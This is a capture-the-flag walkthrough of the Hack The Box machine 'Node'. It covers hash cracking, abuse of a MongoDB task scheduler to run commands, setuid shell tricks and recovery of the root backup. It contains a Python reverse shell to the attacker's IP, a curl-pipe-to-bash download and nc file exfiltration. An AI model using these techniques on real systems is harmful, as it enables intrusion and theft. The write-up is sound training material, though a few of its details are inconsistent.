---
search:
  exclude: true
---
# Node Writeup

![](img/13.png)

## Introduction :

Node is a medium linux box released back in October 2017.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
      → nmap -F 10.10.10.58 -Pn
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:32 GMT
      Nmap scan report for 10.10.10.58
      Host is up (0.11s latency).
      Not shown: 98 filtered ports
      PORT     STATE SERVICE
      22/tcp   open  ssh
      3000/tcp open  ppp
    
      Nmap done: 1 IP address (1 host up) scanned in 5.26 seconds
    
      λ nihilist [ 10.10.14.11/23 ] [~]
      → nmap 10.10.10.58 -sCV -p22,3000 -Pn
      Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-03 20:33 GMT
      Nmap scan report for 10.10.10.58
      Host is up (0.10s latency).
    
      PORT     STATE SERVICE         VERSION
      22/tcp   open  ssh             OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
      | ssh-hostkey:
      |   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
      |   256 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
      |_  256 d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
      3000/tcp open  hadoop-datanode Apache Hadoop
      | hadoop-datanode-info:
      |_  Logs: /login
      | hadoop-tasktracker-info:
      |_  Logs: /login
      |_http-title: MyPlace
      Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
    
      Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
      Nmap done: 1 IP address (1 host up) scanned in 16.12 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap port picked up a http service running on port 80, so let's try to investigate it with dirsearch/gobuster :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → dirsearch -u http://10.10.10.51:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50 -e php,txt,html -x 200
    git clone https://github.com/maurosoria/dirsearch.git
    dirsearch -u  -e  -t 50 -x 500
    
     _|. _ _  _  _  _ _|_    v0.3.9
    (_||| _) (/_(_|| (_| )
    
    Extensions: php, txt, html | HTTP method: get | Threads: 50 | Wordlist size: 87646
    
    Error Log: /home/nihilist/Desktop/Tools/dirsearch/logs/errors-20-03-03_20-40-22.log
    
    Target: http://10.10.10.51:3000/
    
    CONNECTION TIMEOUT: There was a problem in the request to:
    
    Task Completed
    
    λ nihilist [ 10.10.14.11/23 ] [~]
    → gobuster dir --url http://10.10.10.58:3000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -t 50
    ===============================================================
    Gobuster v3.0.1
    by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
    ===============================================================
    [+] Url:            http://10.10.10.58:3000/
    [+] Threads:        50
    [+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
    [+] Status codes:   200,204,301,302,307,401,403
    [+] User Agent:     gobuster/3.0.1
    [+] Timeout:        10s
    ===============================================================
    2020/03/03 20:41:03 Starting gobuster
    ===============================================================
    Error: the server returns a status code that matches the provided options for non existing urls. http://10.10.10.58:3000/faa34154-d721-4655-ac39-9224e8387b5c => 200. To force processing of Wildcard responses, specify the '--wildcard' switch
    

Right away we can see that this box may not be as easy as we think, because bruteforcing files on the website on port 3000 returns the same response (status 200) which basically means that we have nonexistant pages.

![](prg/13_001.png)

SQL Injection doesn't seem to work here, but nonetheless pressing F12 > Debugger > we see that an angular JS script named profile.js is being used in assets/js/app/controllers/

![](prg/13_002.png)

Being hinted towards /api/users/ we investigate : 

![](prg/13_003.png)

And we get a few usernames along with their hashes which can be easily identified with hash-identifier : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → hash-identifier
       #########################################################################
       #     __  __                     __           ______    _____           #
       #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
       #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
       #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
       #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
       #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
       #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
       #                                                             By Zion3R #
       #                                                    www.Blackploit.com #
       #                                                   Root@Blackploit.com #
       #########################################################################
    --------------------------------------------------
     HASH: dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af
    
    Possible Hashs:
    [+] SHA-256
    [+] Haval-256
    
    Least Possible Hashs:
    [+] GOST R 34.11-94
    [+] RipeMD-256
    [+] SNEFRU-256
    [+] SHA-256(HMAC)
    [+] Haval-256(HMAC)
    [+] RipeMD-256(HMAC)
    [+] SNEFRU-256(HMAC)
    [+] SHA-256(md5($pass))
    [+] SHA-256(sha1($pass))
    --------------------------------------------------
    

So let's use hashcat to crack them with rockyou.txt, with the correct SHA-256 algorithm : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → hashcat -m 1400 -a 0 hashes /usr/share/wordlists/rockyou.txt
    hashcat (v3.5.0) starting...
    
    Dictionary cache hit:
    * Filename..: rockyou.txt
    * Passwords.: 14343296
    * Bytes.....: 139921497
    * Keyspace..: 14343296
    
    f0e2e750791171b0391b682ec35835bd6a5c3f7c8d1d0191451ec77b4d75f240:spongebob
    de5a1adf4fedcce1533915edc60177547f1057b61b7119fd130e1f7428705f73:snowflake
    dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af:manchester
    

And we get a list of credentals for us to use : 
    
    
      myP14ceAdm1nAcc0uNT manchester
      tom                 spongebob
      mark                snowflake
    

So we login as the admin account, and download the myplace.backup file for us to inspect it further : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~]
    → cd _HTB
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB]
    → mkdir Node
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB]
    → cd Node
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cp /home/nihilist/Downloads/myplace.backup .
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → file myplace.backup
    myplace.backup: ASCII text, with very long lines, with no line terminators
    

so we have some ascii text, but upon opening it we see that it may look like base64 so let's decode it : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat myplace.backup | base64 -d > myplace
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → file myplace
    myplace: Zip archive data, at least v1.0 to extract
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → unzip myplace
    Archive:  myplace
       creating: var/www/myplace/
    [myplace] var/www/myplace/package-lock.json password:
    password incorrect--reenter:
    password incorrect--reenter:
       skipping: var/www/myplace/package-lock.json  incorrect password
       creating: var/www/myplace/node_modules/
       creating: var/www/myplace/node_modules/serve-static/
    [myplace] var/www/myplace/node_modules/serve-static/README.md password:
    password incorrect--reenter:
    

And we get a zip archive ! although when we try to unzip it we need to give it a password , and our previous three passwords aren't working here. so let's use fcrackzip and rockyou.txt to try and guess the password :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      →  fcrackzip -u -D -p /usr/share/wordlists/rockyou.txt backup
    
    PASSWORD FOUND!!!!: pw == magicword
    
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → unzip myplace
    Archive:  myplace
    [myplace] var/www/myplace/package-lock.json password:
    

So we unzip it and we have a bunch of files to work with, most notably /var/www/myplace/app.js : 

![](prg/13_005.png)

Which reveals mark's password : 5AYRft73VtFpc84k so let's ssh as mark :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → ssh mark@10.10.10.58
    The authenticity of host '10.10.10.58 (10.10.10.58)' can't be established.
    ECDSA key fingerprint is SHA256:I0Y7EMtrkyc9Z/92jdhXQen2Y8Lar/oqcDNLHn28Hbs.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.10.58' (ECDSA) to the list of known hosts.
    mark@10.10.10.58's password:
    
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
                  .-.
            .-'``(|||)
         ,`\ \    `-`.                 88                         88
        /   \ '``-.   `                88                         88
      .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88
     (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88
      `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88
        \   / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88
         `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888'
            `-..-(   )
                  `-`
    The programs included with the Ubuntu system are free software;
    the exact distribution terms for each program are described in the
    individual files in /usr/share/doc/*/copyright.
    
    Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
    applicable law.
    
    Last login: Wed Sep 27 02:33:14 2017 from 10.10.14.3
    
    mark@node:~$ id
    uid=1001(mark) gid=1001(mark) groups=1001(mark)
    
    mark@node:~$ cat /home
    cat: /home: Is a directory
    
    mark@node:~$ ls /home
    frank  mark  tom
    
    mark@node:~$ cat /home/mark/user.txt
    cat: /home/mark/user.txt: No such file or directory
    mark@node:~$ cat /home/frank/user.txt
    cat: /home/frank/user.txt: No such file or directory
    mark@node:~$ cat /home/tom/user.txt
    cat: /home/tom/user.txt: Permission denied
    
    

As you can see here, we are logged in as mark and we have 3 users to work with : frank, mark and tom. although we need to gain tom's privileges to be able to print the flag. so let's list tom's running processes :
    
    
      mark@node:~$ ps -ef | grep tom
    tom       1211     1  0 Mar03 ?        00:00:12 /usr/bin/node /var/www/myplace/app.js
    tom       1221     1  0 Mar03 ?        00:00:07 /usr/bin/node /var/scheduler/app.js
    mark      1600  1579  0 06:01 pts/0    00:00:00 grep --color=auto tom
    

So let's investigate /var/scheduler/app.js :
    
    
      mark@node:~$ cd /var/scheduler
    mark@node:/var/scheduler$ cat app.js
    const exec        = require('child_process').exec;
    const MongoClient = require('mongodb').MongoClient;
    const ObjectID    = require('mongodb').ObjectID;
    const url         = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&authSource;=scheduler';
    
    MongoClient.connect(url, function(error, db) {
      if (error || !db) {
        console.log('[!] Failed to connect to mongodb');
        return;
      }
    
      setInterval(function () {
        db.collection('tasks').find().toArray(function (error, docs) {
          if (!error && docs) {
            docs.forEach(function (doc) {
              if (doc) {
                console.log('Executing task ' + doc._id + '...');
                exec(doc.cmd);
                db.collection('tasks').deleteOne({ _id: new ObjectID(doc._id) });
              }
            });
          }
          else if (error) {
            console.log('Something went wrong: ' + error);
          }
        });
      }, 30000);
    
    });
    

And here we see the connection to the scheduler database, but what's ineresting is the setInterval function which will basically execute anything under the cmd value before deleting the doc from the collection. So let's log into the scheduler database as the user mark : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → nano nihilist.sh
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat nihilist.sh
    #!/bin/bash python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.11",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → python -m SimpleHTTPServer 8080
    Serving HTTP on 0.0.0.0 port 8080 ...
    
    
    
    
      mark@node:/tmp$ wget 10.10.14.11:8080/nihilist.sh && chmod +x nihilist.sh
    --2020-03-04 06:13:22--  http://10.10.14.11:8080/nihilist.sh
    Connecting to 10.10.14.11:8080... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 240 [text/x-sh]
    Saving to: ‘nihilist.sh’
    
    nihilist.sh                       100%[===============================================>]     240  --.-KB/s    in 0s
    
    2020-03-04 06:13:23 (18.6 MB/s) - ‘nihilist.sh’ saved [240/240]
    
    
    
    
      mark@node:/tmp$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
      MongoDB shell version: 3.2.16
      connecting to: localhost:27017/scheduler
      > db.tasks.insert({"_id" : ObjectId("50e28180497eade7db1b7a5b"), "cmd" : "/tmp/nihilist.sh"})
      WriteResult({ "nInserted" : 1 })
      > db.tasks.find()
    
    

And here we basically copy the /bin/dash binary into the /tmp folder in order to have an executable shell owned by the user tom. 
    
    
      mark@node:~$ mongo -p -u mark scheduler
      MongoDB shell version: 3.2.16
      Enter password:
      connecting to: scheduler
      > db.tasks.insert( { "cmd" : "cp /bin/dash  /tmp/nihilist; chmod 6755 /bin/dash;" })
      WriteResult({ "nInserted" : 1 })
      > db.tasks.find()
      { "_id" : ObjectId("5e5fb1764ae843faaa36fbcc"), "cmd" : "cp /bin/dash  /tmp/nihilist; chmod 6755 /bin/dash;" }
      > db.tasks.find()
      > exit
      bye
      mark@node:~$ ls -lash /tmp/nihilist
      152K -rwxr-xr-x 1 tom tom 151K Mar  4 13:48 /tmp/nihilist
      mark@node:~$
      mark@node:~$ ls -lash /tmp/nihilist
      152K -rwxr-xr-x 1 tom tom 151K Mar  4 13:48 /tmp/nihilist
      mark@node:~$ /tmp/nihilist -p
      $ id
      uid=1001(mark) gid=1001(mark) groups=1001(mark)
      $ exit
      mark@node:~$ mongo -p -u mark scheduler
      MongoDB shell version: 3.2.16
      Enter password:
      connecting to: scheduler
      > db.tasks.insert( { "cmd" : "chmod u+s /tmp/nihilist" } )
      WriteResult({ "nInserted" : 1 })
      > db.tasks.find()
      { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
      > db.tasks.find()
      { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
      > db.tasks.find()
      { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
      > db.tasks.find()
      { "_id" : ObjectId("5e5fb336d83b43a3456459a9"), "cmd" : "chmod u+s /tmp/nihilist" }
      > db.tasks.find()
      > exit
      bye
      mark@node:~$ /tmp/nihilist -p
      $ id
      uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
      $ whoami
      tom
    
    

and here we can see that we have the binary named nihilist, owned by the user tom, therefore running it with the -p flag allows us to have tom's permissions. so let's print the user flag :
    
    
      mark@node:~$ /tmp/nihilist -p
      $ id
      uid=1001(mark) gid=1001(mark) euid=1000(tom) groups=1001(mark)
      $ cat /home/tom/user.txt
      cat: /home/tom/user.txt: Permission denied
      $ whoami
      tom
    
      $ cd /home/tom
      $ mkdir .ssh
      mkdir: cannot create directory ‘.ssh’: Permission denied
    
      $ cd ..
      $ ls -lash
      total 20K
      4.0K drwxr-xr-x  5 root root 4.0K Aug 31  2017 .
      4.0K drwxr-xr-x 25 root root 4.0K Sep  2  2017 ..
      4.0K drwxr-xr-x  2 root root 4.0K Aug 31  2017 frank
      4.0K drwxr-xr-x  3 root root 4.0K Sep  3  2017 mark
      4.0K drwxr-xr-x  6 root root 4.0K Sep  3  2017 tom
    
    

Now when we try to somehow edit something in any of the 3 user's directories we cannot , that's because they are owned by root, so let's move onto the root privesc : 

## **Part 3 : Getting Root Access**

In order to privesc to the root user, we need to first enumerate the box using LinEnum.sh

_Terminal 1:_
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → locate LinEnum.sh
    /home/nihilist/_HTB/Cronos/LinEnum.sh
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cp /home/nihilist/_HTB/Cronos/LinEnum.sh .
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → python -m SimpleHTTPServer 8081
    Serving HTTP on 0.0.0.0 port 8081 ...
    

` _Terminal 2:_
    
    
      $ which curl
    /usr/bin/curl
    $ curl http://10.10.14.11:8081/LinEnum.sh | bash
    

Not going to paste all the output of LinEnum.sh but we'll get to the interesting part: 
    
    
      $ find / -perm -4000 2>/dev/null
    /usr/lib/eject/dmcrypt-get-device
    /usr/lib/snapd/snap-confine
    /usr/lib/dbus-1.0/dbus-daemon-launch-helper
    /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
    /usr/lib/openssh/ssh-keysign
    /usr/lib/policykit-1/polkit-agent-helper-1
    /usr/local/bin/backup
    /usr/bin/chfn
    /usr/bin/at
    /usr/bin/gpasswd
    /usr/bin/newgidmap
    /usr/bin/chsh
    /usr/bin/sudo
    /usr/bin/pkexec
    /usr/bin/newgrp
    /usr/bin/passwd
    /usr/bin/newuidmap
    /tmp/nihilist
    /bin/ping
    /bin/umount
    /bin/fusermount
    /bin/ping6
    /bin/ntfs-3g
    /bin/su
    /bin/mount
    
    $ cd /var
    $ ls
    backups  cache	crash  lib  local  lock  log  mail  opt  run  scheduler  snap  spool  tmp  www
    $ cd www/myplace
    $ ls
    app.html  app.js  node_modules	package.json  package-lock.json  static
    $ grep -Ri backup .
    ./app.js:const backup_key  = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
    ./app.js:  app.get('/api/admin/backup', function (req, res) {
    ./app.js:      var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
    ./app.js:      var backup = '';
    ./app.js:        res.header("Content-Disposition", "attachment; filename=myplace.backup");
    ./app.js:        res.send(backup);
    ./app.js:        backup += chunk;
    ./static/vendor/jquery/jquery.js:				contextBackup = outermostContext,
    ./static/vendor/jquery/jquery.js:				dirrunsUnique = (dirruns += contextBackup == null ? 1 : Math.random() || 0.1),
    ./static/vendor/jquery/jquery.js:				outermostContext = contextBackup;
    ./static/assets/js/app/controllers/admin.js:  $scope.backup = function () {
    ./static/assets/js/app/controllers/admin.js:    $window.open('/api/admin/backup', '_self');
    ./static/partials/admin.html:          Download Backup
    
    

So we do have a few binaries for us to use with the SetUID flags for us to use, most notably the /usr/local/bin/backup that once we grep -Ri we know how it works, but still we have other things to do. but we there is something else we can still do with the mongodb cmd exploit in order to change the permissions of our nihilist binary. 
    
    
      mark@node:~$ mongo -p -u mark scheduler
    MongoDB shell version: 3.2.16
    Enter password:
    connecting to: scheduler
    > db.tasks.insert( { "cmd" :"chown  tom:admin /tmp/nihilist; chmod 6755 /tmp/nihilist;"})
    WriteResult({ "nInserted" : 1 })
    > db.tasks.find()
    > exit
    bye
    mark@node:~$ ls -la /tmp/nihilist
    -rwsr-sr-x 1 tom admin 154072 Mar  4 13:48 /tmp/nihilist
    

And here we execute the nihilist binary to be part of the admin group. 
    
    
      mark@node:~$ /tmp/nihilist -p
    $ id
    uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
    $ cat /home/tom/user.txt
    cat: /home/tom/user.txt: Permission denied
    

However as you can see, this is not enough and we still need to escalate more privileges. now before our find command found the /usr/local/bin/backup binary so let's copy it locally on our machine to inspect it :

_Terminal 1:_
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → nc -lvnp 8081 > backup
    listening on [any] 8081 ...
    

` _Terminal 2_
    
    
      $ nc 10.10.14.11 8081 < /usr/local/bin/backup
    

` _Terminal 1_
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → nc -lvnp 8081 > backup
    listening on [any] 8081 ...
    connect to [10.10.14.11] from (UNKNOWN) [10.10.10.58] 36276
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → file backup
    backup: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=343cf2d93fb2905848a42007439494a2b4984369, not stripped
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → chmod +x backup
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → ./backup
    

once given the permissions to execute backup, we get nothing, so let's examine it using radare2 : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → r2 backup
    [0x08048780]> aaa
    [x] Analyze all flags starting with sym. and entry0 (aa)
    [x] Analyze function calls (aac)
    [x] Analyze len bytes of instructions for references (aar)
    [x] Check for objc references
    [x] Check for vtables
    [x] Type matching analysis for all functions (aaft)
    [x] Propagate noreturn information
    [x] Use -AA or aaaa to perform additional experimental analysis.
    [0x08048780]> afl
    [0x08048780]> vvv
    

let's analyse the assembly (aaa) then print out the function list (afl) and then having visual representation (vvv) once we hit spacebar to have a good representating graph of what the binary does :

![](prg/13_006.png)

from here, we see that the binary's main function checks for the number of arguements equal to 3 and if it returns false, it jumps to the block on the left to exit altogether. which is probably what we're seeing.
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      → ./backup 1 2 3
    
    
    
                   ____________________________________________________
                  /                                                    \
                 |    _____________________________________________     |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |             Secure Backup v1.0              |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |                                             |    |
                 |   |_____________________________________________|    |
                 |                                                      |
                  \_____________________________________________________/
                         \_______________________________________/
                      _______________________________________________
                   _-'    .-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.  --- `-_
                _-'.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.--.  .-.-.`-_
             _-'.-.-.-. .---.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-`__`. .-.-.-.`-_
          _-'.-.-.-.-. .-----.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-.-----. .-.-.-.-.`-_
       _-'.-.-.-.-.-. .---.-. .-----------------------------. .-.---. .---.-.-.-.`-_
      :-----------------------------------------------------------------------------:
      `---._.-----------------------------------------------------------------._.---'
    
    
       [!] Could not open file
    
    

So once we give it 3 arguements it finally prints out something, so let's run strace as we originally intended, but this time using 3 arguements :
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → strace ./backup 1 2 3
    
    [...]
    
    openat(AT_FDCWD, "/etc/myplace/keys", O_RDONLY) = -1 ENOENT (No such file or directory)
    write(1, " \33[33m[!]\33[37m Could not open fi"..., 36 [!] Could not open file
    
    ) = 36
    write(1, "\n", 1
    )                       = 1
    exit_group(1)                           = ?
    +++ exited with 1 +++
    
    

And here we see that it's trying to read something in /etc/myplace/keys so let's check it on our box : 
    
    
      $ id
      uid=1001(mark) gid=1001(mark) euid=1000(tom) egid=1002(admin) groups=1002(admin),1001(mark)
      $ cd /etc/myplace
      $ cat keys
      a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
      **45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474**
      3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
    
    

and we get 3 hashes ! and if you look closely, here we have one of the keys we found with our previous recursive grep -Ri command. so let's copy it locally and see what the binary tries to do once we have this /etc/myplace/keys file in place. 
    
    
      λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node]
      → mkdir /etc/myplace
    
      λ root [ 10.10.14.11/23 ] [nihilist/_HTB/Node]
      → nano /etc/myplace/keys
    
    

Now that it's in place, let's try to execute the backup with that one particular key we found again on the /root directory : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
      → ./backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /root
       [+] Finished! Encoded backup is below:
    
       
    

And we seem to get a base64 encoded string, let's copy it into a file, and decode it. 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → nano b64backup
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat b64backup
     
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat b64backup | base64 -d > b64d_backup
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → file b64d_backup
    b64d_backup: Zip archive data, at least v?[0x333] to extract
    

And we have a zip archive, so let's try to unzip it : 
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → unzip b64d_backup
    Archive:  b64d_backup
       skipping: root.txt                need PK compat. v5.1 (can do v4.6)
    
    
    
    
      λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → 7z e b64d_backup
    
    7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
    p7zip Version 16.02 (locale=en_GB.UTF-8,Utf16=on,HugeFiles=on,64 bits,4 CPUs Intel(R) Pentium(R) Silver N5000 CPU @ 1.10GHz (706A1),ASM,AES-NI)
    
    Scanning the drive for archives:
    1 file, 1141 bytes (2 KiB)
    
    Extracting archive: b64d_backup
    --
    Path = b64d_backup
    Type = zip
    Physical Size = 1141
    
    
    Enter password (will not be echoed):
    Everything is Ok
    
    Size:       2584
    Compressed: 1141
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → ls
    b64backup  b64d_backup  backup  nihilist.sh  LinEnum.sh  myplace  myplace.backup  root.txt  var
    
    λ nihilist [ 10.10.14.11/23 ] [~/_HTB/Node]
    → cat root.txt
    QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
    QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
    QQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
    QQQQQQQQQQQQQQQQQQQWQQQQQWWWBBBHHHHHHHHHBWWWQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQQ
    QQQQQQQQQQQQQQQD!`__ssaaaaaaaaaass_ass_s____.  -~""??9VWQQQQQQQQQQQQQQQQQQQ
    QQQQQQQQQQQQQP'_wmQQQWWBWV?GwwwmmWQmwwwwwgmZUVVHAqwaaaac,"?9$QQQQQQQQQQQQQQ
    QQQQQQQQQQQW! aQWQQQQW?qw#TTSgwawwggywawwpY?T?TYTYTXmwwgZ$ma/-?4QQQQQQQQQQQ
    QQQQQQQQQQW' jQQQQWTqwDYauT9mmwwawww?WWWWQQQQQ@TT?TVTT9HQQQQQQw,-4QQQQQQQQQ
    QQQQQQQQQQ[ jQQQQQyWVw2$wWWQQQWWQWWWW7WQQQQQQQQPWWQQQWQQw7WQQQWWc)WWQQQQQQQ
    QQQQQQQQQf jQQQQQWWmWmmQWU???????9WWQmWQQQQQQQWjWQQQQQQQWQmQQQQWL 4QQQQQQQQ
    QQQQQQQP'.yQQQQQQQQQQQP"       <****wa,.!4WQQQQQQQWdWP??!"??4WWQQQWQQc ?QWQQQQQ
    QQQQQP'_a. <****aamQQQW! <****yF "!` ..  "??$Qa "WQQQWTVP'    "??' =QQmWWV?46/ ?QQQQQ
    QQQP'sdyWQP?!`.-"?46mQQQQQQT!mQQgaa. <****wWQQWQaa _aawmWWQQQQQQQQQWP4a7g -WWQQ
    QQ[ j@mQP'adQQP4ga, -????" <****jQQQQQWQQQQQQQQQWW;)WQWWWW9QQP?"`  -?QzQ7L ]QQQ
    QW jQkQ@ jWQQD'-?$QQQQQQQQQQQQQQQQQWWQWQQQWQQQc "4QQQQa   .QP4QQQQfWkl jQQQ
    QE ]QkQk $D?`  waa "?9WWQQQP??T?47`_aamQQQQQQWWQw,-?QWWQQQQQ`"QQQD\Qf(.QWQQ
    QQ,-Qm4Q/-QmQ6 "WWQma/  "??QQQQQQL 4W"- -?$QQQQWP`s,awT$QQQ@  "QW@?$:.yQQQQ
    QQm/-4wTQgQWQQ,  ?4WWk 4waac -???$waQQQQQQQQF??' <****mWWWWWQW?^  ` ]6QQ' yQQQQQ
    QQQQw,-?QmWQQQQw  a,    ?QWWQQQw _.  "????9VWaamQWV???"  a j/  ]QQf jQQQQQQ
    QQQQQQw,"4QQQQQQm,-$Qa     ???4F jQQQQQwc <****aaas _aaaaa 4QW ]E  )WQ`=QQQQQQQ
    QQQQQQWQ/ $QQQQQQQa ?H ]Wwa,     ???9WWWh dQWWW,=QWWU?  ?!     )WQ ]QQQQQQQ
    QQQQQQQQQc-QWQQQQQW6,  QWQWQQQk <****c                             jWQ ]QQQQQQQ
    QQQQQQQQQQ,"$WQQWQQQQg,."?QQQQ'.mQQQmaa,.,                . .; QWQ.]QQQQQQQ
    QQQQQQQQQWQa ?$WQQWQQQQQa,."?( mQQQQQQW[:QQQQm[ ammF jy! j( } jQQQ(:QQQQQQQ
    QQQQQQQQQQWWma "9gw?9gdB?QQwa, -??T$WQQ;:QQQWQ ]WWD _Qf +?! _jQQQWf QQQQQQQ
    QQQQQQQQQQQQQQQws "Tqau?9maZ?WQmaas,,    --~-- ---  . _ssawmQQQQQQk 3QQQQWQ
